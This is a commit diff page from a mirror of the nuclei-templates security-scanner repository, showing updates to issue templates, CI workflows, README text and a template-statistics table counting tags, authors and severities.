daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge branch 'master' of https://github.com/projectdiscovery/nuclei-templates into patch-1

patch-1
sandeep 2021-10-27 15:19:00 +05:30
parent 6958702edd 5f2dec1de0
commit b810f72260
1924 changed files with 55066 additions and 5250 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

32
.github/ISSUE_TEMPLATE/bug_report.md vendored
View File

@ -1,32 +0,0 @@
---
name: Bug report
about: Create a issue to help us improve
title: "[Bug] "
labels: ''
assignees: ''
---
**Nuclei version**
```
nuclei -version
```
**Nuclei template version**
```
cat ~/.nuclei-config.json
```
**Describe the bug**
A clear and concise description of what the bug is.
**Commands to reproduce**
```
nuclei -t xxx -target xxx
```
**Screenshots**
If applicable, add screenshots to help explain your problem.

14
.github/ISSUE_TEMPLATE/config.yml vendored Normal file
View File

@ -0,0 +1,14 @@
blank_issues_enabled: false
contact_links:
- name: Ask an question / advise on using nuclei-templates
url: https://github.com/projectdiscovery/nuclei-templates/discussions/categories/q-a
about: Ask a question or request support for using nuclei-templates
- name: Share idea / feature to discuss for nuclei-templates
url: https://github.com/projectdiscovery/nuclei-templates/discussions/categories/ideas
about: Share idea / feature to discuss for nuclei-templates
- name: Connect with PD Team & Community (Discord)
url: https://discord.gg/projectdiscovery
about: Connect with PD Team & Community for direct communication

28
.github/ISSUE_TEMPLATE/false-positive.md vendored
View File

@ -1,30 +1,24 @@
---
name: False Positive
about: 'Create an issue if you found false positive results. '
title: "[false-positive] template-name "
about: 'Issue for template producing false positive results.'
labels: 'false-positive'
assignees: ''
---
**Nuclei version**
<!-- ISSUES MISSING IMPORTANT INFORMATION MAY BE CLOSED WITHOUT INVESTIGATION. -->
```
nuclei -version
```
### Nuclei Version:
**Nuclei template version**
<!-- You can find current version of nuclei with "nuclei -version" -->
```
cat ~/.nuclei-config.json
```
### Template file:
**Template ID**
<!-- Template producing false-positive results, for example: "cves/XX/XX.yaml" -->
Please submit the ID template producing false-positive results.
### Command to reproduce:
**Commands to Reproduce**
<!-- Please include the command to replicate the behavior so fix can be applied asap. -->
<!-- if host information can not be shared publicly, please reach out to us on discord server in DM -->
```
nuclei -t template_id -target ?
```
### Anything else:
<!-- Links? References? Screnshots? Anything that will give us more context about the issue that you are encountering! -->

22
.github/ISSUE_TEMPLATE/feature_request.md vendored
View File

@ -1,16 +1,18 @@
---
name: Feature request
about: Suggest an idea to improve nuclei templates
title: "[Feature] "
labels: ''
assignees: ''
about: Request feature to implement in this project
labels: 'Type: Enhancement'
---
**Is your feature request related to a problem? Please describe.**
<!--
1. Please make sure to provide a detailed description with all the relevant information that might be required to start working on this feature.
2. In case you are not sure about your request or whether the particular feature is already supported or not, please start a discussion instead.
3. GitHub Discussion: https://github.com/projectdiscovery/nuclei-templates/discussions/categories/ideas
4. Join our discord server at https://discord.gg/projectdiscovery to discuss the idea on the #nuclei-templates channel.
-->
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
### Please describe your feature request:
<!-- A clear and concise description of feature to implement -->
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
### Describe the use case of this feature:
<!-- A clear and concise description of the feature request's motivation and the use-cases in which it could be useful. -->

21
.github/ISSUE_TEMPLATE/issue-report.md vendored Normal file
View File

@ -0,0 +1,21 @@
---
name: Issue report
about: "Issue to report invalid template"
labels: 'Type: Bug'
---
<!--
1. Please search to see if an issue already exists for the bug you encountered.
2. For support requests, FAQs or "How to" questions, please use the GitHub Discussions section instead - https://github.com/projectdiscovery/nuclei-templates/discussions or
3. Join our discord server at https://discord.gg/projectdiscovery and post the question on the #nuclei-templates channel.
-->
<!-- ISSUES MISSING IMPORTANT INFORMATION MAY BE CLOSED WITHOUT INVESTIGATION. -->
### Issue description:
<!-- A concise description of what you're experiencing. -->
### Anything else:
<!-- Links? References? Screnshots? Anything that will give us more context about the issue that you are encountering! -->

22
.github/ISSUE_TEMPLATE/submit-template.md vendored
View File

@ -1,15 +1,23 @@
---
name: Submit Template
about: Submit nuclei template using issue
title: "[nuclei-template] template-name"
name: Template Contribution
about: Contributing nuclei template using GitHub Issue
labels: 'nuclei-template'
assignees: ''
---
**Template Details**
### Template Information:
<!-- Include basic information of the template including reference -->
<!-- Templates without any reference mostly likely to take more time for review/validation -->
### Nuclei Template:
<!-- Include nuclei template in between code block shared below -->
```yaml
nuclei template goes here
```
<!-- Include template results if available or redacted valid response snippet of valid match -->
<!-- Example response help us to update the matchers as unique as possible to avoid possible false-positive results. -->

47
.github/scripts/README.tmpl vendored
View File

@ -3,7 +3,7 @@ f"""
<h1 align="center">
Nuclei Templates
</h1>
<h4 align="center">Community curated list of templates for the nuclei engine to find a security vulnerability in application.</h4>
<h4 align="center">Community curated list of templates for the nuclei engine to find security vulnerabilities in applications.</h4>
<p align="center">
@ -24,25 +24,21 @@ Nuclei Templates
----
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
Templates are the core of the [nuclei scanner](https://github.com/projectdiscovery/nuclei) which powers the actual scanning engine.
This repository stores and houses various templates for the scanner provided by our team, as well as contributed by the community.
We hope that you also contribute by sending templates via **pull requests** or [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) to grow the list.
## Nuclei Templates overview
An overview of the nuclei template directory including number of templates associated with each directory.
An overview of the nuclei template project, including statistics on unique tags, author, directory, severity, and type of templates. The table below contains the top ten statistics for each matrix; an expanded version of this is [available here](TEMPLATES-STATS.md), and also available in [JSON](TEMPLATES-STATS.json) format for integration.
<table>
<tr>
<td>
| Templates | Counts | Templates | Counts | Templates | Counts |
| ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
| cves | {countTpl("cves/*")} | vulnerabilities | {countTpl("vulnerabilities/*")} | exposed-panels | {countTpl("exposed-panels")} |
| takeovers | {countTpl("takeovers")} | exposures | {countTpl("exposures/*")} | technologies | {countTpl("technologies")} |
| misconfiguration | {countTpl("misconfiguration")} | workflows | {countTpl("workflows")} | miscellaneous | {countTpl("miscellaneous")} |
| default-logins | {countTpl("default-logins/*")} | file | {countTpl("file/*")} | dns | {countTpl("dns")} |
| fuzzing | {countTpl("fuzzing")} | helpers | {countTpl("helpers/*")} | iot | {countTpl("iot")} |
{get_top10()}
**{command("tree", -2, None)}**.
@ -50,34 +46,37 @@ An overview of the nuclei template directory including number of templates assoc
</tr>
</table>
📖 Documentation
-----
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new or your own **custom** templates.
We have also added a set of templates to help you understand how things work.
💪 Contributions
-----
Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
Nuclei-templates is powered by major contributions from the community.
[Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
💬 Discussion
-----
Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
Have questions / doubts / ideas to discuss?
Feel free to open a discussion on [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
👨‍💻 Community
-----
You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
💡 Notes
-----
- Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
You are welcome to join the active [Discord Community](https://discord.gg/projectdiscovery) to discuss directly with project maintainers and share things with others around security and automation.
Additionally, you may follow us on [Twitter](https://twitter.com/pdnuclei) to be updated on all the things about Nuclei.
Thanks again for your contribution and keeping the community vibrant. :heart:
"""
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
Thanks again for your contribution and keeping this community vibrant. :heart:
"""

5
.github/scripts/update-readme.py vendored
View File

@ -8,6 +8,11 @@ def countTpl(path):
def command(args, start=None, end=None):
return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
def get_top10():
HEADER = "## Nuclei Templates Top 10 statistics\n\n"
TOP10 = command(["cat", "TOP-10.md"])
return HEADER + TOP10 if len(TOP10) > 0 else ""
if __name__ == "__main__":
version = command(["git", "describe", "--tags", "--abbrev=0"])
template = eval(open(".github/scripts/README.tmpl", "r").read())

46
.github/workflows/cve-annotate.yml vendored Normal file
View File

@ -0,0 +1,46 @@
name: ✍🏻 CVE Annotate
on:
push:
branches:
- master
workflow_dispatch:
jobs:
docs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@master
with:
persist-credentials: false
fetch-depth: 0
token: ${{ secrets.GITHUB_TOKEN }}
- uses: actions/setup-go@v2
with:
go-version: 1.17
- name: Generate CVE Annotations
id: cve-annotate
run: |
if ! which cve-annotate > /dev/null; then
echo -e "Command cve-annotate not found! Installing\c"
go install github.com/projectdiscovery/nuclei/v2/cmd/cve-annotate@dev
fi
cve-annotate -i ./cves/ -d .
echo "::set-output name=changes::$(git status -s | wc -l)"
- name: Commit files
if: steps.cve-annotate.outputs.changes > 0
run: |
git config --local user.email "action@github.com"
git config --local user.name "GitHub Action"
git add cves
git commit -m "Auto Generated CVE annotations [$(date)] :robot:" -a
- name: Push changes
if: steps.cve-annotate.outputs.changes > 0
uses: ad-m/github-push-action@master
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
branch: ${{ github.ref }}

21
.github/workflows/update-readme.yml → .github/workflows/readme-update.yml vendored
View File

@ -1,17 +1,16 @@
name: 📝 Readme Update
on:
push:
branches:
- master
create:
tags:
- v*
workflow_run:
workflows: ["🗒 Templates Stats"]
types:
- completed
workflow_dispatch:
jobs:
build:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates' && github.ref == 'refs/heads/master'
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- name: Install tree
run: sudo apt-get install tree -y
@ -28,20 +27,20 @@ jobs:
python-version: "3.8"
- name: Update README
id: update-readme
id: readme-update
run: |
python .github/scripts/update-readme.py
echo "::set-output name=changes::$(git status -s | wc -l)"
- name: Commit files
if: steps.update-readme.outputs.changes > 0
if: steps.readme-update.outputs.changes > 0
run: |
git config --local user.email "action@github.com"
git config --local user.name "GitHub Action"
git commit -m "Auto Update README [$(date)] :robot:" -a
git commit -m "Auto README Update [$(date)] :robot:" -a
- name: Push changes
if: steps.update-readme.outputs.changes > 0
if: steps.readme-update.outputs.changes > 0
uses: ad-m/github-push-action@master
with:
github_token: ${{ secrets.GITHUB_TOKEN }}

34
.github/workflows/template-validate.yml vendored
View File

@ -1,35 +1,31 @@
name: 🛠 Template Validate
on: [push, pull_request]
on: [ push, pull_request ]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout Repo
uses: actions/checkout@master
- uses: actions/checkout@master
- uses: actions/setup-go@v2
with:
go-version: 1.17
- name: Setup golang
uses: actions/setup-go@v2
with:
go-version: 1.14
- name: Cache Go
id: cache-go
uses: actions/cache@v2
with:
path: /home/runner/go
key: ${{ runner.os }}-go
#- name: Cache Go
# id: cache-go
# uses: actions/cache@v2
# with:
# path: /home/runner/go
# key: ${{ runner.os }}-go
- name: Installing Nuclei
if: steps.cache-go.outputs.cache-hit != 'true'
env:
GO111MODULE: on
# if: steps.cache-go.outputs.cache-hit != 'true'
run: |
go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@dev
go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
shell: bash
- name: Template Validation
run: |
nuclei -validate -t . -exclude .pre-commit-config.yaml
nuclei -validate -t .
nuclei -validate -w ./workflows
shell: bash

54
.github/workflows/templates-stats.yml vendored Normal file
View File

@ -0,0 +1,54 @@
name: 🗒 Templates Stats
on:
create:
workflow_dispatch:
jobs:
build:
runs-on: ubuntu-latest
if: ${{ startsWith(github.ref, 'refs/tags/v') }}
steps:
- uses: actions/checkout@master
- uses: actions/setup-go@v2
with:
go-version: 1.17
- name: Installing Template Stats
run: |
go install github.com/projectdiscovery/templates-stats@main
shell: bash
- name: Markdown Stats
run: |
templates-stats -output TEMPLATES-STATS.md -path /home/runner/work/nuclei-templates/nuclei-templates/
shell: bash
- name: JSON Stats
run: |
templates-stats -output TEMPLATES-STATS.json -json -path /home/runner/work/nuclei-templates/nuclei-templates/
shell: bash
- name: Top 10 Stats
run: |
templates-stats -output TOP-10.md -top 10 -path /home/runner/work/nuclei-templates/nuclei-templates/
shell: bash
- name: Get statistical changes
id: stats
run: echo "::set-output name=changes::$(git status -s | wc -l)"
- name: Commit files
if: steps.stats.outputs.changes > 0
run: |
git add TEMPLATES-STATS.*
git add TOP-10.md
git config --local user.email "action@github.com"
git config --local user.name "GitHub Action"
git commit -m "Auto Generated Templates Stats [$(date)] :robot:" -a
- name: Push changes
uses: ad-m/github-push-action@master
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
branch: ${{ github.ref }}

3
.gitignore vendored
View File

@ -1,2 +1,5 @@
.idea/
.DS_Store
local/
.checksum
.new-additions

5
.nuclei-ignore
View File

@ -8,10 +8,9 @@
# unless asked for by the user.
tags:
- "fuzz"
- "dos"
- "misc"
- "fuzz"
- "revision"
# files is a list of files to ignore template execution
# unless asked for by the user.
# unless asked for by the user.

0
.pre-commit-config.yaml → .pre-commit-config.yml
View File

2
.yamllint
View File

@ -2,7 +2,7 @@
extends: default
ignore: |
.pre-commit-config.yaml
.pre-commit-config.yml
.github/workflows/*.yml
rules:

7
CONTRIBUTING.md
View File

@ -53,7 +53,7 @@ git checkout -b template_branch_name
git add .
```
- To commit give a descriptive message for the convenience of reveiwer by:
- To commit, give a descriptive message for the convenience of the reviewer by:
```sh
# This message get associated with all files you have changed
@ -94,4 +94,7 @@ You can refer to the following articles of Git and GitHub basics. In case you ar
## Tip from us😇
**Nuclei** outcomes are only as excellent as **template matchers💡**
- **Nuclei** outcomes are only as excellent as **template matchers💡**
- Declare at least two matchers to reduce false positive
- Avoid matching words reflected in the URL to reduce false positive
- Avoid short word that could be encountered anywhere

60
README.md
View File

@ -3,7 +3,7 @@
<h1 align="center">
Nuclei Templates
</h1>
<h4 align="center">Community curated list of templates for the nuclei engine to find a security vulnerability in application.</h4>
<h4 align="center">Community curated list of templates for the nuclei engine to find security vulnerabilities in applications.</h4>
<p align="center">
@ -24,59 +24,71 @@ Nuclei Templates
----
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
Templates are the core of the [nuclei scanner](https://github.com/projectdiscovery/nuclei) which powers the actual scanning engine.
This repository stores and houses various templates for the scanner provided by our team, as well as contributed by the community.
We hope that you also contribute by sending templates via **pull requests** or [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) to grow the list.
## Nuclei Templates overview
An overview of the nuclei template directory including number of templates associated with each directory.
An overview of the nuclei template project, including statistics on unique tags, author, directory, severity, and type of templates. The table below contains the top ten statistics for each matrix; an expanded version of this is [available here](TEMPLATES-STATS.md), and also available in [JSON](TEMPLATES-STATS.json) format for integration.
<table>
<tr>
<td>
| Templates | Counts | Templates | Counts | Templates | Counts |
| ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
| cves | 394 | vulnerabilities | 216 | exposed-panels | 192 |
| takeovers | 70 | exposures | 112 | technologies | 115 |
| misconfiguration | 74 | workflows | 33 | miscellaneous | 27 |
| default-logins | 37 | file | 42 | dns | 10 |
| fuzzing | 10 | helpers | 9 | iot | 15 |
## Nuclei Templates Top 10 statistics
**127 directories, 1473 files**.
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
| cve | 838 | dhiyaneshdk | 296 | cves | 842 | info | 775 | http | 2244 |
| lfi | 344 | daffainfo | 289 | vulnerabilities | 329 | high | 651 | file | 50 |
| panel | 284 | pikpikcu | 281 | exposed-panels | 278 | medium | 478 | network | 46 |
| xss | 259 | pdteam | 201 | technologies | 202 | critical | 297 | dns | 12 |
| wordpress | 255 | geeknik | 166 | exposures | 196 | low | 156 | | |
| exposure | 245 | dwisiswant0 | 131 | misconfiguration | 143 | | | | |
| rce | 215 | gy741 | 83 | takeovers | 65 | | | | |
| tech | 196 | pussycat0x | 74 | token-spray | 63 | | | | |
| wp-plugin | 178 | princechaddha | 66 | default-logins | 60 | | | | |
| cve2020 | 166 | madrobot | 63 | file | 50 | | | | |
**177 directories, 2454 files**.
</td>
</tr>
</table>
📖 Documentation
-----
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new or your own **custom** templates.
We have also added a set of templates to help you understand how things work.
💪 Contributions
-----
Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
Nuclei-templates is powered by major contributions from the community.
[Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
💬 Discussion
-----
Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
Have questions / doubts / ideas to discuss?
Feel free to open a discussion on [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
👨‍💻 Community
-----
You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
💡 Notes
-----
- Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
You are welcome to join the active [Discord Community](https://discord.gg/projectdiscovery) to discuss directly with project maintainers and share things with others around security and automation.
Additionally, you may follow us on [Twitter](https://twitter.com/pdnuclei) to be updated on all the things about Nuclei.
Thanks again for your contribution and keeping the community vibrant. :heart:
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
Thanks again for your contribution and keeping this community vibrant. :heart:

1
TEMPLATES-STATS.json Normal file
View File

File diff suppressed because one or more lines are too long

930
TEMPLATES-STATS.md Normal file
View File

@ -0,0 +1,930 @@
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|----------------------|-------|--------------------------------|-------|------------------|-------|----------|-------|---------|-------|
| cve | 838 | dhiyaneshdk | 296 | cves | 842 | info | 775 | http | 2244 |
| lfi | 344 | daffainfo | 289 | vulnerabilities | 329 | high | 651 | file | 50 |
| panel | 284 | pikpikcu | 281 | exposed-panels | 278 | medium | 478 | network | 46 |
| xss | 259 | pdteam | 201 | technologies | 202 | critical | 297 | dns | 12 |
| wordpress | 255 | geeknik | 166 | exposures | 196 | low | 156 | | |
| exposure | 245 | dwisiswant0 | 131 | misconfiguration | 143 | | | | |
| rce | 215 | gy741 | 83 | takeovers | 65 | | | | |
| tech | 196 | pussycat0x | 74 | token-spray | 63 | | | | |
| wp-plugin | 178 | princechaddha | 66 | default-logins | 60 | | | | |
| cve2020 | 166 | zzeitlin | 63 | file | 50 | | | | |
| cve2021 | 157 | madrobot | 63 | workflows | 38 | | | | |
| joomla | 128 | 0x_akoko | 55 | iot | 36 | | | | |
| cve2010 | 109 | gaurang | 42 | network | 33 | | | | |
| config | 99 | philippedelteil | 30 | miscellaneous | 24 | | | | |
| cve2019 | 98 | ice3man | 26 | dns | 12 | | | | |
| cve2018 | 92 | organiccrap | 24 | fuzzing | 10 | | | | |
| iot | 79 | sheikhrishad | 15 | cnvd | 9 | | | | |
| apache | 73 | pr3r00t | 15 | headless | 5 | | | | |
| oast | 70 | milo2012 | 14 | | | | | | |
| takeover | 69 | techbrunchfr | 13 | | | | | | |
| default-login | 68 | suman_kar | 12 | | | | | | |
| token | 67 | cyllective | 11 | | | | | | |
| token-spray | 63 | r3dg33k | 11 | | | | | | |
| cve2017 | 51 | random_robbie | 10 | | | | | | |
| file | 50 | nadino | 10 | | | | | | |
| unauth | 49 | wdahlenb | 10 | | | | | | |
| network | 44 | melbadry9 | 10 | | | | | | |
| ssrf | 42 | righettod | 10 | | | | | | |
| sqli | 40 | hackergautam | 9 | | | | | | |
| | 39 | that_juan_ | 8 | | | | | | |
| redirect | 38 | zh | 8 | | | | | | |
| cve2016 | 38 | aashiq | 8 | | | | | | |
| oracle | 37 | iamthefrogy | 8 | | | | | | |
| google | 30 | harshbothra_ | 7 | | | | | | |
| logs | 30 | randomstr1ng | 7 | | | | | | |
| jira | 29 | oppsec | 7 | | | | | | |
| atlassian | 29 | 0x240x23elu | 7 | | | | | | |
| cve2015 | 29 | techryptic (@tech) | 7 | | | | | | |
| listing | 27 | dogasantos | 7 | | | | | | |
| cisco | 27 | meme-lord | 7 | | | | | | |
| cve2014 | 27 | dr_set | 7 | | | | | | |
| generic | 24 | kophjager007 | 7 | | | | | | |
| auth-bypass | 24 | emadshanab | 7 | | | | | | |
| misconfig | 23 | logicalhunter | 6 | | | | | | |
| misc | 23 | __fazal | 6 | | | | | | |
| disclosure | 23 | pentest_swissky | 6 | | | | | | |
| router | 22 | caspergn | 6 | | | | | | |
| aem | 19 | puzzlepeaches | 6 | | | | | | |
| springboot | 18 | divya_mudgal | 6 | | | | | | |
| cve2012 | 18 | panch0r3d | 5 | | | | | | |
| sap | 18 | rootxharsh | 5 | | | | | | |
| debug | 17 | johnk3r | 5 | | | | | | |
| weblogic | 15 | yanyun | 5 | | | | | | |
| cve2011 | 15 | iamnoooob | 5 | | | | | | |
| php | 15 | elsfa7110 | 5 | | | | | | |
| devops | 15 | lu4nx | 5 | | | | | | |
| login | 14 | ganofins | 5 | | | | | | |
| cve2009 | 14 | xelkomy | 5 | | | | | | |
| aws | 14 | joanbono | 5 | | | | | | |
| struts | 14 | e_schultze_ | 4 | | | | | | |
| fuzz | 14 | incogbyte | 4 | | | | | | |
| android | 13 | nodauf | 4 | | | | | | |
| deserialization | 13 | tess | 4 | | | | | | |
| zoho | 13 | wisnupramoedya | 4 | | | | | | |
| adobe | 13 | github.com/its0x08 | 4 | | | | | | |
| dlink | 13 | emenalf | 3 | | | | | | |
| dns | 13 | yash anand @yashanand155 | 3 | | | | | | |
| wp-theme | 12 | binaryfigments | 3 | | | | | | |
| jenkins | 12 | mavericknerd | 3 | | | | | | |
| manageengine | 12 | sushantkamble | 3 | | | | | | |
| xxe | 11 | fyoorer | 3 | | | | | | |
| magento | 11 | f1tz | 3 | | | | | | |
| cve2013 | 11 | impramodsargar | 3 | | | | | | |
| hp | 10 | 0w4ys | 3 | | | | | | |
| intrusive | 10 | me9187 | 3 | | | | | | |
| dell | 10 | sullo | 3 | | | | | | |
| kubernetes | 9 | johnjhacking | 3 | | | | | | |
| ftp | 9 | vsh00t | 3 | | | | | | |
| vmware | 9 | shine | 3 | | | | | | |
| ruijie | 8 | idealphase | 3 | | | | | | |
| cnvd | 8 | unstabl3 | 3 | | | | | | |
| backup | 8 | shifacyclewala | 3 | | | | | | |
| cve2008 | 8 | z3bd | 3 | | | | | | |
| ibm | 8 | dudez | 3 | | | | | | |
| fastjson | 8 | _generic_human_ | 3 | | | | | | |
| nginx | 8 | jarijaas | 3 | | | | | | |
| airflow | 8 | skeltavik | 3 | | | | | | |
| rails | 8 | thomas_from_offensity | 3 | | | | | | |
| gitlab | 8 | 0xprial | 2 | | | | | | |
| microsoft | 8 | w4cky_ | 2 | | | | | | |
| scada | 8 | ree4pwn | 2 | | | | | | |
| files | 7 | hahwul | 2 | | | | | | |
| confluence | 7 | huowuzhao | 2 | | | | | | |
| cms | 7 | cristi vlad (@cristivlad25) | 2 | | | | | | |
| netgear | 7 | ehsahil | 2 | | | | | | |
| coldfusion | 7 | gal nagli | 2 | | | | | | |
| rconfig | 6 | afaq | 2 | | | | | | |
| api | 6 | 0xelkomy | 2 | | | | | | |
| laravel | 6 | hetroublemakr | 2 | | | | | | |
| nodejs | 6 | arcc | 2 | | | | | | |
| fileupload | 6 | manas_harsh | 2 | | | | | | |
| solr | 6 | kiblyn11 | 2 | | | | | | |
| citrix | 6 | zomsop82 | 2 | | | | | | |
| jetty | 6 | x1m_martijn | 2 | | | | | | |
| camera | 6 | koti2 | 2 | | | | | | |
| docker | 6 | pxmme1337 | 2 | | | | | | |
| drupal | 6 | randomrobbie | 2 | | | | | | |
| lucee | 6 | alifathi-h1 | 2 | | | | | | |
| prometheus | 6 | bp0lr | 2 | | | | | | |
| django | 6 | random-robbie | 2 | | | | | | |
| phpmyadmin | 6 | mahendra purbia (mah3sec_) | 2 | | | | | | |
| wso2 | 5 | lotusdll | 2 | | | | | | |
| circarlife | 5 | r12w4n | 2 | | | | | | |
| printer | 5 | bernardofsr | 2 | | | | | | |
| ssti | 5 | foulenzer | 2 | | | | | | |
| crlf | 5 | bing0o | 2 | | | | | | |
| windows | 5 | gevakun | 2 | | | | | | |
| jolokia | 5 | whoever | 2 | | | | | | |
| tomcat | 5 | vavkamil | 2 | | | | | | |
| java | 5 | convisoappsec | 2 | | | | | | |
| dedecms | 5 | r3naissance | 2 | | | | | | |
| symfony | 5 | mohammedsaneem | 2 | | | | | | |
| iis | 5 | parth | 2 | | | | | | |
| headless | 5 | 0xsmiley | 2 | | | | | | |
| asp | 4 | moritz nentwig | 2 | | | | | | |
| moodle | 4 | joeldeleep | 2 | | | | | | |
| resin | 4 | bsysop | 2 | | | | | | |
| traversal | 4 | davidmckennirey | 2 | | | | | | |
| maps | 4 | socketz | 2 | | | | | | |
| strapi | 4 | nkxxkn | 2 | | | | | | |
| slack | 4 | 0xrudra | 2 | | | | | | |
| elastic | 4 | cocxanh | 2 | | | | | | |
| thinkphp | 4 | sy3omda | 2 | | | | | | |
| artifactory | 4 | udit_thakkur | 2 | | | | | | |
| grafana | 4 | 0xcrypto | 2 | | | | | | |
| microstrategy | 4 | dheerajmadhukar | 2 | | | | | | |
| proxy | 4 | amsda | 2 | | | | | | |
| magmi | 4 | fabaff | 2 | | | | | | |
| npm | 4 | 0xsapra | 2 | | | | | | |
| firebase | 4 | g4l1t0 | 2 | | | | | | |
| glpi | 4 | swissky | 2 | | | | | | |
| symantec | 4 | undefl0w | 1 | | | | | | |
| hongdian | 4 | schniggie | 1 | | | | | | |
| git | 4 | ivo palazzolo (@palaziv) | 1 | | | | | | |
| exchange | 4 | lark lab | 1 | | | | | | |
| firmware | 4 | alph4byt3 | 1 | | | | | | |
| fatpipe | 4 | apt-mirror | 1 | | | | | | |
| solarwinds | 4 | @ofjaaah | 1 | | | | | | |
| zabbix | 4 | thezakman | 1 | | | | | | |
| amazon | 4 | ilovebinbash | 1 | | | | | | |
| zimbra | 4 | naglinagli | 1 | | | | | | |
| samsung | 4 | gboddin | 1 | | | | | | |
| webserver | 4 | alex | 1 | | | | | | |
| rfi | 4 | xstp | 1 | | | | | | |
| vpn | 4 | nvn1729 | 1 | | | | | | |
| buffalo | 4 | ringo | 1 | | | | | | |
| keycloak | 4 | jrolf | 1 | | | | | | |
| thinkcmf | 4 | jteles | 1 | | | | | | |
| telerik | 3 | qlkwej | 1 | | | | | | |
| kafka | 3 | fmunozs | 1 | | | | | | |
| openam | 3 | bolli95 | 1 | | | | | | |
| kevinlab | 3 | 0xrod | 1 | | | | | | |
| bitrix | 3 | mass0ma | 1 | | | | | | |
| lfr | 3 | flag007 | 1 | | | | | | |
| search | 3 | exploitation | 1 | | | | | | |
